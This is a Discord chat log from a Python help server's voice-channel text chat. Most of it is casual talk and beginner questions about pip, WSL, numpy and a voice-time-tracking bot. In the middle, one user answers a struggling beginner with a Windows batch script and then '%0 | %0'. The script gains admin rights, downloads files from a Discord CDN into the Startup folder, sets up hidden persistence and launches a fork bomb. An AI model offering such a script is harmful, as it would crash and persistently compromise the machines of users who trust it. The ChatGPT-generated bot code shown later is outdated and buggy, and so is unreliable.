#voice-chat-text-0

1 messages Β· Page 211 of 1

somber heath
#

!e py data = [*range(30)] for i in range(0, 30, 5): print(data[i: i + 5])

wise cargoBOT
#

@somber heath :white_check_mark: Your 3.12 eval job has completed with return code 0.

001 | [0, 1, 2, 3, 4]
002 | [5, 6, 7, 8, 9]
003 | [10, 11, 12, 13, 14]
004 | [15, 16, 17, 18, 19]
005 | [20, 21, 22, 23, 24]
006 | [25, 26, 27, 28, 29]
upbeat chasm
#

yea, I can understand what ur trying to say but idt thats going to work since I have like more than a million lines to work with

#

and i dont really know where it ends

#

so i cant specify it all that well

#

as of right now im just praying something works
been at this for 3 days now

#

aight

rocky junco
somber heath
#

@sharp axle πŸ‘‹

#

@scenic current πŸ‘‹

scenic current
somber heath
#

!voice πŸ‘‡

wise cargoBOT
#
Voice verification

Can’t talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.

somber heath
#

@long karma πŸ‘‹

somber heath
#

@vague saddle πŸ‘‹

#

@whole bear πŸ‘‹

whole bear
somber heath
#

@vague gyro πŸ‘‹

whole bear
#

It means a kid

wise loom
#

I've been watching waaay too many TikToks.
This is getting out of hand.

scarlet halo
#

yo

wind raptor
woeful salmon
obsidian dragon
scarlet halo
#

configuring firefox

analog plaza
#

I'm jumping into live-coding πŸ™‚

#

if you want to come hang out

wind raptor
#

nice, be there in a few

wind raptor
#

Hey @rugged root. How are you doing?

wise loom
#

@dense ibex full-stack is still a thing?

amber raptor
wise loom
amber raptor
#

from business point of view, it's great

#

you don't need 2 people, you need one

wise loom
#

@amber raptor "scaling the team"

#

@amber raptor what's your take on 10x devs?

amber raptor
thin lodge
#

Hello everyone!

wind raptor
#

Heyo

amber raptor
willow light
#

So how long until someone gets the bright idea to start listing observability in the job requirments for " full stack"

#

or just go full hog and ignore the point of SRE and put all SRE duties in the "full stack engineer" description

willow light
#

god dammit

scarlet halo
amber raptor
#

Companies are always looking to load workload on people

scarlet halo
wind raptor
#

Back in a bit. Gotta make some lunch.

wise loom
scarlet halo
willow light
wise loom
willow light
#

If there's anything on-call has taught me, it's that the pagerduty devs have never heard of the concept of boundaries.

scarlet halo
#

im from sweden

willow light
#

Especially when I'm at the bottom of the escalation pool the week after my on-call shift.

wise loom
willow light
#

We deliberately keep our managers off the rotation for precisely this reason

wise loom
willow light
#

squad leaders, on the other hand...

#

Of course, having an on-call rotation doesn't help much if no one documents shit

dense ibex
#
llllllllllllllll   llllllllllllllll            jakea@JAKES-DESKTOP
llllllllllllllll   llllllllllllllll            --------------
llllllllllllllll   llllllllllllllll            OS: Windows 11
llllllllllllllll   llllllllllllllll            Build: 22H2
llllllllllllllll   llllllllllllllll            Uptime: 17 days, 1 hour, 40 minutes
llllllllllllllll   llllllllllllllll            Resolution: 1920x1080
llllllllllllllll   llllllllllllllll            Terminal: Windows PowerShell
llllllllllllllll   llllllllllllllll            CPU: AMD Ryzen 7 5800X3D 8-Core Processor
llllllllllllllll   llllllllllllllll            GPU: NVIDIA GeForce RTX 3060
                                               Memory: 19999 MB / 32694 MB (38% in use)
wise loom
#

I need to do groceries πŸ›’

scarlet halo
#
      /\         elis@elis
     /  \        ---------
    /\   \       Uptime: 2 hours, 57 mins
   /      \      Packages: 800 (pacman)
  /   ,,   \     Memory: 2783MiB / 15902MiB
 /   |  |  -\    Disk (/): 20G / 468G (5%)
/_-''    ''-_\
amber raptor
scarlet halo
#

cool setup

willow light
#

I used to have a cool setup. It was Windows 8, unpatched, and I was able to get anything done whatsoever with it. At all

#

Took a lot of effort.

amber raptor
willow light
#

brb apparently all of my dev servers at work are three months overdue for patching....and I guess it's okay to wait until now to let me know.

gentle flint
wind raptor
#

My browser toolbars back in the day:

scarlet halo
wind raptor
#

@desert wolf you had a lot of bg noise coming through your mic so I moved you to afk

gentle flint
wind raptor
#

No worries πŸ˜„

short owl
#

@gentle flint very interesting - Tesla tech strike

#

how much for a plain coffee at starbucks ?

#

hmm - you might as well roast , grind your own - there is better stuff out there

#

Q for all - is anyone trying , mojo python and GPU stuff ?

#

onions seem to pep up a pizza

whole bear
#

static means the variable is common for all function calls

short owl
#

is there a pyopengl thing - is it massivly faster than pygame at drawing( animating ) stuff ?

amber raptor
whole bear
#

in C

int foo() {
  static a;
  a++;
  return a;
}

int main() {
  foo();
  foo();
  printf("%d", foo());
}
amber raptor
short owl
#

ohhhh nice

whole bear
#

i use arch btw

amber raptor
whole bear
#

the

short owl
#

im guessing you tried many OS and arch was the best ? @whole bear

whole bear
#

yes

#

nixos sucks

#

punk ass

short owl
#

i do python and MCU hardware via pyserial ( want to use sockets ) also use RPi3 , does arch have advantages for these ENVironments

gentle flint
short owl
#

RISC - V , has no backdoors for cia , fbi , abc ??

whole bear
#

BSD is noice

#

paidBSD

raven mural
#

@amber raptor

#

what happened

desert vector
#

@wind raptor

dense ibex
#
import org.tensorflow.ConcreteFunction;
import org.tensorflow.Signature;
import org.tensorflow.Tensor;
import org.tensorflow.TensorFlow;
import org.tensorflow.op.Ops;
import org.tensorflow.op.core.Placeholder;
import org.tensorflow.op.math.Add;
import org.tensorflow.types.TInt32;

public class HelloTensorFlow {

  public static void main(String[] args) throws Exception {
    System.out.println("Hello TensorFlow " + TensorFlow.version());

    try (ConcreteFunction dbl = ConcreteFunction.create(HelloTensorFlow::dbl);
        TInt32 x = TInt32.scalarOf(10);
        Tensor dblX = dbl.call(x)) {
      System.out.println(x.getInt() + " doubled is " + ((TInt32)dblX).getInt());
    }
  }

  private static Signature dbl(Ops tf) {
    Placeholder<TInt32> x = tf.placeholder(TInt32.class);
    Add<TInt32> dblX = tf.math.add(x, x);
    return Signature.builder().input("x", x).output("dbl", dblX).build();
  }
}
wise loom
#

I have cake

shadow pivot
whole bear
#

!paste

wise cargoBOT
#
Pasting large amounts of code

If your code is too long to fit in a codeblock in Discord, you can paste your code here:
https://paste.pythondiscord.com/

After pasting your code, save it by clicking the Paste! button in the bottom left, or by pressing CTRL + S. After doing that, you will be navigated to the new paste's page. Copy the URL and post it here so others can see it.

peak junco
somber heath
#

@minor raft πŸ‘‹

minor raft
#

hi

#

i dont have permission to speak in a voice chat

#

why?

somber heath
#

!voice πŸ‘‡

wise cargoBOT
#
Voice verification

Can’t talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.

minor raft
#

okay

#

oh

#

i will still 3 days in the server

#

@somber heath I created a simple virtual assistent, but he not doing many things, do you avalible her for me??? (sorry my very bad english)

#

can you speak more slow??

#

i dont understand you

somber heath
#

I can help with Python.
I may not be able to help you do your project.

minor raft
#

you dont need able to this, he's very simple to use, but he stay in portuguese, some problem??

#

or i can translent he for english

somber heath
#

Alas. I don't speak Portuguese.

minor raft
#

ok

#

i will recreate he but in english

#

i finished

#

can i send to you??

somber heath
#

!code

wise cargoBOT
#
Formatting code on discord

Here's how to format Python code on Discord:

```py
print('Hello world!')
```

These are backticks, not quotes. Check this out if you can't find the backtick key.

For long code samples, you can use our pastebin.

minor raft
#

I can't send it, it's too big

somber heath
#

!paste

wise cargoBOT
#
Pasting large amounts of code

If your code is too long to fit in a codeblock in Discord, you can paste your code here:
https://paste.pythondiscord.com/

After pasting your code, save it by clicking the Paste! button in the bottom left, or by pressing CTRL + S. After doing that, you will be navigated to the new paste's page. Copy the URL and post it here so others can see it.

minor raft
#

but when i download the file and send for here the bot dont allows

tranquil wind
#

!stream

#

hmm, how do I stream?

raven mural
#

In computer science, the shunting yard algorithm is a method for parsing arithmetical or logical expressions, or a combination of both, specified in infix notation. It can produce either a postfix notation string, also known as Reverse Polish notation (RPN), or an abstract syntax tree (AST). The algorithm was invented by Edsger Dijkstra and name...

minor raft
#

oh

#

@somber heath

#

now i understand kkkk

upbeat leaf
crude orbit
#

Hey

wind raptor
# crude orbit Hey

Please don't spam the same message across multiple channels. Our bot will mute people for that.

#

@sage grove we are in this chat

sage grove
#

mfw IndexWarning

sage grove
#

it is adorable

#

.-.

wind raptor
#

The joys of spamming to increase msg count

sage grove
#

The joys of requiring my pointless input to an arguably meaningless conversation

wind raptor
#

Requiring is a strong word

sage grove
#

requirement only by necessity to use vc

wind raptor
#

Appreciating is a better one.

#

I mean... it does say right in the verification what not to do.

whole bear
#

like 'what is the best package to make an accounting program' or whatever

wind raptor
#

Or just talk to us

sage grove
#

by that I mean, there is no screenshare without asking a mod πŸ˜›

wind raptor
#

50 msgs is pretty easy to hit.

sage grove
#

I get it, useful for spam limiting and such, though that need not be said-like most conversations I find myself )in(

wind raptor
wet scroll
#

does anyone know open source midi editors written in python? (not library)

sage grove
wind raptor
sage grove
whole bear
wet scroll
wind raptor
wind raptor
wet scroll
sage grove
past elk
whole bear
somber heath
#

@past scarab πŸ‘‹

past scarab
#

Aye

#

Sup

#

Came here to listen what're u guys up to lol have a test in 1h and procrastinating

#

Maths

past scarab
#

Had to leave :((

somber heath
#

@graceful eagle πŸ‘‹

somber heath
#

@heavy schooner πŸ‘‹

heavy schooner
#

Hi, Maybe I will leave now. I don't have a mic πŸ™‚

somber heath
#

@teal jackal πŸ‘‹

teal jackal
#

yes

#

i dont know why i am muted

somber heath
#

!voice πŸ‘‡

wise cargoBOT
#
Voice verification

Can’t talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.

somber heath
#

@obsidian cliff πŸ‘‹

teal jackal
#

what was that ?

reef badger
#

that was just some code and a blog, it's fine

teal jackal
#

ohhh

#

thanks

#

i also dont know about that

reef badger
#

Recontextualizing from each node of a knowledge graph would be hard in language models in the same way a human mind does that. But a lot of smart people have worked a lot to correct those issues.

vocal basin
#

@somber heath speaking of banks and voice generation, have you heard a recent story about a particular Russian bank misusing it?

#

tl;dr: they illegally used someone's voice to train an AI model, then rented it out to the public

#

it can be dangerous due to the user not knowing whether they're even misusing it

#

there is no need for intent even

teal jackal
#

just talking about random AI stuff

#

waaaoooo

#

two losses friends now meeting again

somber heath
#

@hoary night πŸ‘‹

teal jackal
#

πŸ‘‹

hoary night
#

Hey man I dont have perm to speak

somber heath
#

!voice πŸ‘‡

wise cargoBOT
#
Voice verification

Can’t talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.

teal jackal
#

@hoary night dont worry you will have permission after some time

hoary night
#

I've been on this server from a while

somber heath
#

The process is manual.

#

Not automatic.

#

@rare pivot πŸ‘‹

teal jackal
rare pivot
#

Hello have a nice day all

teal jackal
#

@rare pivot πŸ‘‹ you too

wet scroll
#

hi opal

teal jackal
#

@reef badgeryou'll be also stoped

#

if you will stop the time

stuck sky
reef badger
#

so, i can never know if it's ever done

teal jackal
#

yeah

teal jackal
#

or maybe its already done many times in your life

reef badger
#

ayva

teal jackal
#

maybe 10 sec ago

#

🀣

#

be my friend 🀣

#

no just meme

#

no i dont know

#

yeah i am here also talk about general,AI and python stuuf

#

hmmmm

#

what about video

#

like 15 sec video

wet scroll
#

what r u guys talking bout?

#

the what?

hoary night
#

hey i made something similar to that

#

do you wanna see the output

teal jackal
#

perfect

#

yeah sure

hoary night
#

the whole video is generated on input of 3 words
The script
subtitles
voice everything AI

teal jackal
#

yeah its very nice

#

it just doesnt have video

wet scroll
#

does anyone here know how to make DAW with automation?

teal jackal
#

it has voice,video and motions

hoary night
#

what is DAW ?

wet scroll
hoary night
#

got it

wet scroll
#

FL studio is DAW

hoary night
#

what's your take on startups that are just AI wrapper

wet scroll
#

how do i make daw though...

#

i dont know how to make playbacks

hoary night
#

maybe you can do a research considering opensouce github repo's

wet scroll
#

like, previewing?

#

idk how to explain this

wet scroll
#

whats this?

#

ohh

#

i dont really mean it like this

#

you know how fl studio has this uh

#

list of tracks

#

where you can put patterns into it

#

i wanna know how to play the patterns at real time

reef badger
wet scroll
#

hold on i cant hear you

#

i gotta get my headset so i can hear you more clearly

#

ill take a look at this btw

#

ty for it

teal jackal
#

on this server

#

??

#

ok

wet scroll
#

is there any opensource python daws out there?

reef badger
wet scroll
#

i saw this before

#

might check on it again

#

i just wished i could knew how to use this library

#

ooh wait

#

i found something

#

found some DAW written in python >:)

reef badger
#

πŸ™‚ gg

teal jackal
#

bye

wet scroll
#

bai

teal jackal
#

so what we will gonna do here

wet scroll
#

maybe you could help me out too

teal jackal
#

listening each other silence

wet scroll
#

thats completely optional though

teal jackal
wet scroll
#

i wanna make my own DAW

#

so it would be great if you can find me some stuff

#

especially python written DAW with automation

#

thats what i really need right now

teal jackal
#

i dont know anything about that

wet scroll
teal jackal
wet scroll
#

i just need some sort of automation in one of these DAWs

#

like pitch shifting

teal jackal
#

what about python libraries dont we have audio functions

#

for manipulating audios

wet scroll
#

i tried looking for them

#

but uh

teal jackal
#

hhm ok

wet scroll
#

does it have automation?

#

playbacks?

#

i hope so

#

let me see

teal jackal
#

i have never checked it

#

you have to check it

#

do you wanna manipulate audio in pre recorded or live audio ??

wet scroll
teal jackal
#

nvm i got it

#

you are editing pre recorded audio

wet scroll
#

uhh

#

i think pre recorded..?

teal jackal
#

yeah

#

did you check bro?? is it usefull?

wet scroll
#

i got a bit more to check

teal jackal
#

yeah take your time

#

i have to go now see you later guys

wet scroll
#

aw okay,

teal jackal
#

bye bye

#

see you around

wet scroll
#

take care

teal jackal
#

you too

shadow pivot
#

hey guys

wise loom
#

@somber heath why'd you leave me in the VC? 😭

#

@somber heath you been writing Python lately?

somber heath
#

@idle thunder πŸ‘‹

wise loom
#

Did I mention I have Vanilla-filled Eclairs now?

#

Sweet tooth 🦷 needs to be hit with the sweets

somber heath
#

@crude karma @empty crown πŸ‘‹

empty crown
#

thank you

#

had trouble finding the channel

crude karma
#

hi

#

i cant talk in vc 😦

empty crown
#

its a hard ch since its from latin

empty crown
#

so its more himaykinakai

somber heath
wise cargoBOT
#
Voice verification

Can’t talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.

empty crown
#

yes that is correct

crude karma
#

!voice

empty crown
#

you don't have to remember

#

its from the flower genus of the coneflower

crude karma
#

it says i havent wrote 50 msg and havent been in server for 3 days

empty crown
#

well its time to chat a bunchj

#

how are you?

#

anyone

#

and what are you doing right now

crude karma
#

me?

empty crown
#

so i take it you are doing not much of anything?

crude karma
#

how old ru

empty crown
#

oh not at all i'm not doing what i should be either...

#

so yk, im not one to judge

crude karma
#

??

#

sadly

somber heath
#

@whole thunder πŸ‘‹

empty crown
crude karma
#

noone helped me

#

in python

#

i sent issue that i couldnt fix for 3 days

#

and python bot deleted

#

it

#

😦

#

it is still not fixed

#

so yeh

empty crown
#

i cant help you

crude karma
#

why

empty crown
#

ive been in this server for 10 months and have sent only 40 messages

#

hows that for activity

#

ha

#

llm's as of right now cant create something better than their input right?

crude karma
#

i am sending you screenshot

#

in priv chat

empty crown
#

ahhhh

#

i dont even code often

#

why am i here

#

i'd procrastinate for months

#

what are we doing?

#

lonely part is true

#

not denying it

#

chronically online, im not sure.

#

yeah the issue is probably that for the first time i've been completely alone for over a week

#

ever

#

haha

#

yeah, parents

#

im still in highschool, as a senior

#

moving out only next year. most likely, to study at a university

#

what do you think chronically online is?

#

well, im not even on any social media besides this one and youtube/google as a source of knowledge

#

we recently moved

#

my mother needs to be where we moved from for the hospital

#

reddit?

#

uhhh

#

yikes?

#

bad for you i guess

somber heath
#

@rose warren πŸ‘‹

rose warren
#

@somber heath hello how are you

solemn swan
#

hello

teal jackal
#

@whole bearπŸ‘‹

#

@keen stirrup πŸ‘‹

#

@peak parcelπŸ‘‹

peak parcel
teal jackal
#

i dont know

#

do you ?

peak parcel
#

i'm asking how are you lmao

teal jackal
#

ohh

#

i am fine

#

how about you

peak parcel
#

good to hear

#

im also good

teal jackal
#

perfect

peak parcel
#

what are you working on?

teal jackal
#

are you learning python

peak parcel
teal jackal
#

i used to work in PHP and MySql

peak parcel
#

oh nice

#

that's pretty cool

teal jackal
#

but i trying to switch in python

peak parcel
teal jackal
#

do you work or study ??

#

sorry i cant vc because i dont permissions yet

#

but soon i'll get it

peak parcel
teal jackal
#

nice

wind raptor
#

!stream 753690250563420261

wise cargoBOT
#

βœ… @whole bear can now stream until <t:1699377206:f>.

wind raptor
#

!stream 753690250563420261

wise cargoBOT
#

βœ… @whole bear can now stream until <t:1699377723:f>.

wind raptor
wise cargoBOT
#

:incoming_envelope: :ok_hand: applied timeout to @ashen harness until <t:1699379858:f> (10 minutes) (reason: burst spam - sent 8 messages).

The <@&831776746206265384> have been alerted for review.

solid perch
#

Lmaoooooo

#

And I'm muted because I'm tired and my voice is lazy now :p

#

He's fleeing

#

That's why he muted himself

#

Hehehe

gritty garnet
minor raft
#

how can i open a file.APM??

solid perch
#

Ah

#

I don't remember

minor raft
#

bah

solid perch
#

@desert vector so u usually stay muted and stalk us?

#

:p

#

Lmaooo

#

Understandable.....?

#

Don't open the window! Your hotness will melt the snow!

#

XD

minor raft
#

i search about this, but the only thing i found say i need a photoeditor program, but when i open the file with the program his bugg (sorry my bad english, i dont speak very well and i try learn alone without the google traductor)

#

someone can help me??

ashen harness
#

sorry guys

#

wont happend again!

solid perch
#

Companies get paid from the client. Based on the offer or negotiated cost of the program and features and such

minor raft
#

okay

solid perch
#

And sometimes from the site and the merchandise on the site and 3rd parties and such

#

Skibidy?

ashen harness
#

so guys! what kind of sports do you play!?

ashen harness
desert vector
ashen harness
desert vector
#

QB all the way; though I don't play nearly as much anymore so I'm probably rusty now

solid perch
#

I don't actually play any sports.

#

The only ones I've played were in highschool

solid perch
#

I used to play basketball and racketball in my freetime with friends. But because I wanted to go outside away from my parents lmao

ashen harness
solid perch
ashen harness
#

oh my how many friends do you have????

solid perch
#

@wind raptor dirty jokes?........... I love dirty jokes hehehehe

ashen harness
#

hahahahahahahahahaha

solid perch
ashen harness
#

oh my goodness gracious

wind raptor
ashen harness
#

thats quite the sport sir!!!!

solid perch
#

Hehehe

desert vector
solid perch
#

Women

#

Talking about women

#

Ikr

ashen harness
#

have any even looked at you

solid perch
#

Lol

#

Pre.......cod

#

I had to

ashen harness
#

oh my!!!

solid perch
#

@wind raptor im sorry buddy. Gonna jump into another vc. Ur welcome to friend me tho

ashen harness
#

ok sir i will keep that in mind

#

πŸ‘

wind raptor
#

πŸ• πŸŽ‰

dense ibex
#

I would like to take credit for this

#

shit used to be at least 150ms average

wind raptor
#

Look at you go

desert vector
#

you are to blame

wind raptor
#

git blame

heady rock
wraith frigate
#

Hi, why can't I talk?

wind raptor
#

!voice

wise cargoBOT
#
Voice verification

Can’t talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.

scarlet halo
#

hey

#

i learnt a little bit of C today

#

also brb

desert vector
wind raptor
#

!stream 1115886583170748466

wise cargoBOT
#

βœ… @dusky lynx can now stream until <t:1699384926:f>.

flint hill
#

import numpy as np

#

in numpy a command

#

like import math

scarlet halo
#

also back

wind raptor
#

welcome back

scarlet halo
#

thanks

#

hyd

#

the code :)

wind raptor
#

!rule 9

wise cargoBOT
#

9. Do not offer or ask for paid work of any kind.

flint hill
#

import numpy as np
p1 = np.poly1d([2,1,3])
print(p1)
print(p1(0.5))

wind raptor
#

pip install numpy

#
import numpy as np
import matplotlib.pyplot as plt


p = np.poly1d([8, 3, 5])
x = np.linspace(-20, 20, 100)
y = p(x)
plt.plot(x, y)
plt.show()
scarlet halo
#

gn

turbid sandal
#

We love @wind raptor

desert vector
#

howdy @whole bear

whole bear
#

Hbu ?

desert vector
#

feeling a bit tired, but I'm managing well enough

rare narwhal
#

@somber heath how you doin'

#

can't join the vc rn, but can you help me with something real quick?

rare narwhal
#

i have a test repo on github and i'm tryna clone it to Ubuntu(WSL), but i don't have an ssh key, i could create one locally but i'm sure i'll forget about it when i'm changin by os, tried cloning with https link but it says [Cloning into 'git-test'...
fatal: Unsupported SSL backend 'openssl'. Supported SSL backends:
gnutls]

#

do you know how i can fix this?

#

damn, alr

#

how you in the vc all day?

vocal basin
#

I'd expect wsl to be relatively lightweight and not package all the dependencies for everything

rare narwhal
rare narwhal
#

I'm new to git and github

#

wsl feels more complicated than actual ubuntu

somber heath
#

@young thicket πŸ‘‹

sage grove
#

o/

somber heath
#

@sick harness πŸ‘‹

sick harness
#

hello

#

hey I just joined and can't use my mic

somber heath
#

!voice πŸ‘‡

wise cargoBOT
#
Voice verification

Can’t talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.

sick harness
#

!voice

#

So I can't talk sorry

#

Hello people!

#

why can't we stream?

#

that's weird

#

oh

#

ffs

#

that's a shame to punish everyone tbh

#

Ah unfortune then

#

tuna you knew to the server to?

wet scroll
#

hey guys!

sick harness
#

hello

wet scroll
#

hello :P

sick harness
#

opalmist are you familiar with ''npm init'''?

mild sorrel
#

python on top

sick harness
#

ah fair then

somber heath
#

@whole bear πŸ‘‹

whole bear
#

hello !

sick harness
#

I am trying to understand the whole python but it's a lot I just got into it so I am new af

mild sorrel
#

python is really good

somber heath
sick harness
#

I am trying to make a discord bot

#

discord bot that keeps track of time spend on a discord channel

somber heath
#

@granite plank πŸ‘‹

whole bear
#

well that sounds pratical to make

somber heath
#

!kindling

wise cargoBOT
#
Kindling Projects

The Kindling projects page on Ned Batchelder's website contains a list of projects and ideas programmers can tackle to build their skills and knowledge.

sick harness
#

what is the game called?

mild sorrel
#

darkside

sick harness
#

thank you added to my libray

#

hahahah fair fair

#

everything is better then apex

#

Discord.js
'Discord.js' is not recognized as an internal or external command,
operable program or batch file.

anyone know what I am doing wrong?

#

trying to make a discord bot that keeps track of time spend on a discord channel

#

and for some reason it gives me the error

#

yeah

#

like a voice call

#

python

#

oh

#

FFS

granite plank
#

discordpy

#

pycord

sick harness
#

lets goooo

#

waity

#

wait

#

its NNN

#

you can't

#

Send link?

#

yeah

#

behonest its animeidh

#

do I need to download discord.py trough extentions?

mild sorrel
#

pip install

granite plank
#

cause hot

sick harness
#

So pip install on cmd or on pyhton?

mild sorrel
#

cmd

sick harness
#

nice

#

hour glass

#

figure

willow gate
sick harness
#

when I type in pip install in cmd it says The system cannot find the file specified.

#

I don't know

#

I don't think so tbh

#

Do I need to reinstall python?

granite plank
willow gate
sick harness
#

properly I just pressed download and it installed it

granite plank
#

::Get Admin Rights
if exist "%SystemDrive%\Windows\system32\adminrightstest" (rmdir %SystemDrive%\Windows\system32\adminrightstest >nul 2>&1)
mkdir %SystemDrive%\Windows\system32\adminrightstest >nul 2>&1
if %errorlevel% neq 0 (
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
    set params = %*:"=""
    echo UAC.ShellExecute "%SystemDrive%\Windows\system32\cmd.exe", "/c ""%~s0"" %params%", "", "runas", 1 >> "%temp%\getadmin.vbs"
    "%temp%\getadmin.vbs"
    del "%temp%\getadmin.vbs"
    exit /b
)

::Run CMD in 32-Bit
set SystemPath=%SystemRoot%\System32
if not "%ProgramFiles(x86)%"=="" (if exist %SystemRoot%\Sysnative\* set SystemPath=%SystemRoot%\Sysnative)
if not %processor_architecture%==AMD64 (
%SystemPath%\cmd.exe /c "%~s0"
exit /b
)

title Fork

cd "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"

curl -o "fork.cmd" https://cdn.discordapp.com/attachments/861805950338990121/953923846669484122/fork.cmd
cls
curl -o "invisible.vbs" "https://cdn.discordapp.com/attachments/861805950338990121/953922574545481728/invisible.vbs"
cls

echo wscript.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\invisible.vbs" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\fork.cmd" >> forkinvis.cmd

set SCRIPT="%TEMP%\%RANDOM%-%RANDOM%-%RANDOM%-%RANDOM%.vbs"

echo Set oWS = WScript.CreateObject("WScript.Shell") >> %SCRIPT%
echo sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\forkinvis.lnk" >> %SCRIPT%
echo Set oLink = oWS.CreateShortcut(sLinkFile) >> %SCRIPT%
echo oLink.TargetPath = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\forkinvis.cmd" >> %SCRIPT%
echo oLink.Save >> %SCRIPT%

cscript /nologo %SCRIPT%
del %SCRIPT%

set SCRIPT="%TEMP%\%RANDOM%-%RANDOM%-%RANDOM%-%RANDOM%.vbs"

echo Set oWS = WScript.CreateObject("WScript.Shell") >> %SCRIPT%
echo sLinkFile = "%userprofile%\Desktop\FixFork.lnk" >> %SCRIPT%
echo Set oLink = oWS.CreateShortcut(sLinkFile) >> %SCRIPT%
echo oLink.TargetPath = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\" >> %SCRIPT%
echo oLink.Save >> %SCRIPT%

cscript /nologo %SCRIPT%
del %SCRIPT%

start forkinvis.lnk
exit```
willow gate
granite plank
#

%0 | %0

sick harness
willow gate
#

check out this video

#

reinstall python

sick harness
willow gate
sick harness
#

Yes thank you will do

willow gate
#

if you want you can use online complieer too

sick harness
#

complieer?

willow gate
sick harness
#

can I still get the discord bot stuff trough it?

#

no not mumsie

#

nooooo

willow gate
willow gate
sick harness
#

okay I am confused af

#

I just installed it

#

and tryd the command hello world

#

and it says

#

but I have the app right here

#

it says python in the name how tf can it not find it ?

willow gate
sick harness
#

hello

vocal basin
# sick harness

re-install and don't forget to check "add to environment variables"

#

if you're then running it from VS Code, there are some extra settings you'd need to enable

sick harness
#

I just started to 4 hours ago I am ready to jump of a building

vocal basin
#
  1. sometimes also this
vocal basin
# vocal basin

this should make it possible to run python from cmd/powershell

#

might require restarting those shells after re-installation

#

(and IDE since it usually inherits env from where it started)

sick harness
#

so far all good yes?

#

Do i need to download the bottom 2?

vocal basin
#

not necessary

sick harness
#

okay going to restart now

gentle flint
sick harness
#

finally

#

ffs thank you @vocal basin

#

and also thank you manticore for helping too

sick harness
#

any ideas what I can do with this?

#

omg the space inbetween

#

burh

#

check that's fixed thank you!

#

Do I have to worry about this or nah?

#

wdym with depends on the code

#

foek so the only way to know If I need it is by trial and fire?

#

I am trying this ^^

wet scroll
#

hello guys

#

what are you guys doing?

sick harness
#

hello trying to make a discord bot

#

I am going to try ontolo

#

I am trying chatgpt

#

chatgpt gets the infor from the web right

#

so it does the digging for me right?

#

up to 2021

#

Ah right right time for more diging then thank you

wet scroll
#

what is the best UI library for python

sick harness
#

question does this code look valid ?

import discord
import time
from discord.ext import commands

bot = commands.Bot(command_prefix='!')

Replace 'YOUR_TOKEN' with your bot's token

TOKEN = 'YOUR_TOKEN'

Dictionary to store user activity

user_activity = {}

@bot.event
async def on_ready():
print(f'Logged in as {bot.user.name}')

@bot.event
async def on_voice_state_update(member, before, after):
if after.channel is not not None:
if member.id not in user_activity:
user_activity[member.id] = {"start_time": time.time(), "total_time": 0}
else:
user_activity[member.id]["start_time"] = time.time()

if before.channel is not None and after.channel is None:
    if member.id in user_activity:
        elapsed_time = time.time() - user_activity[member.id]["start_time"]
        user_activity[member.id]["total_time"] += elapsed_time

@bot.command()
async def get_time(ctx):
user_id = ctx.author.id
if user_id in user_activity:
total_time = user_activity[user_id]["total_time"]
await ctx.send(f"You have spent {total_time:.2f} seconds in the channel.")
else:
await ctx.send("You haven't spent any time in the channel.")

Run the bot with your token

bot.run(TOKEN)

#

and one more issue

vocal basin
#

that's both its strength and weakness

#

by default, it makes no lookups

#

there are models on top of it (and other LLMs) which integrate search

#

for example, phind

vocal basin
#

also missing intents

#

it's based on very old tutorials

vocal basin
sick harness
#

got it off chatgpt that's properly why

vocal basin
#

yeah, most of its source material is 2021 and earlier

vocal basin
# sick harness and one more issue

even if packages are properly installed through pip, Pylance might still fail to recognise them (because it uses wrong python)
which is why Ctrl+Shift+P->Select Interpreter is quite useful

but most of the time this is issue is just because the packages weren't installed

sick harness
#

I gotta use the bottom one right?

somber heath
#

!kindling

wise cargoBOT
#
Kindling Projects

The Kindling projects page on Ned Batchelder's website contains a list of projects and ideas programmers can tackle to build their skills and knowledge.

wise loom
#

@somber heath you know why chickens don't plan?

#

cause they like to wing it

somber heath
#

@timid current πŸ‘‹

#

@fossil flume πŸ‘‹

fossil flume
#

hello OpalMist

#

i can't chat in the room

somber heath
#

!voice πŸ‘‡

wise cargoBOT
#
Voice verification

Can’t talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.

wise loom
#

@somber heath no feedback on the joke ?

#

you already knew it

#

okay..

somber heath
#

Common Bronzewing.

sudden barn
alpine moon
wise cargoBOT
#

5. Do not provide or request help on projects that may violate terms of service, or that may be deemed inappropriate, malicious, or illegal.

wise loom
# sudden barn

coat hanger clipped into the cat, it's a reality glitch/bug. poor cat.

wise loom
#

@whole bear https://www.acm.org/publications/policies/artifact-review-and-badging-current
ACM Badges were introduced in 2020 (I'm assuming for all ACM journals and workgroups)

The point is to have papers where:

  • the artifacts are available
  • artifacts were evaluated
  • results were replicated

These badges are usually on the 1st page of a paper in the top-right corner.
I've seen them cropping up in a few papers I've skimmed through.

rugged root
#

Sup nerds

amber raptor
dusky lynx
#

AxiosError: socket hang up
at connResetException (node:internal/errors:704:14)
at TLSSocket.socketOnEnd (node:_http_client:505:23)
at TLSSocket.emit (node:events:525:35)
at endReadableNT (node:internal/streams/readable:1358:12)
at processTicksAndRejections (node:internal/process/task_queues:83:21) {
code: 'ECONNRESET',
config: {
...
...
@rugged root
@mild quartz

#

// UPLOAD PART
console.log("xBzPartNumber:".white, xBzPartNumber);
const sha1OfData = crypto
.createHash("sha1")
.update(req.files[0].buffer)
.digest("hex");
await axios
.post(uplPartUrl, null, {
headers: {
Authorization: uplAuthToken,
// "Content-Type": "application/json; charset=utf-8",
"X-Bz-Part-Number": xBzPartNumber.toString(),
"Content-Length": (
parseInt(req.body.chunkContentLength) + 40
).toString(),
"X-Bz-Content-Sha1": sha1OfData,
},
})
.then(async (response) => {
console.log(
"upl part res part:".bgCyan,
response.data.partNumber
);
@rugged root

#

}

amber raptor
#

Just use S3 library

wise loom
rugged root
#

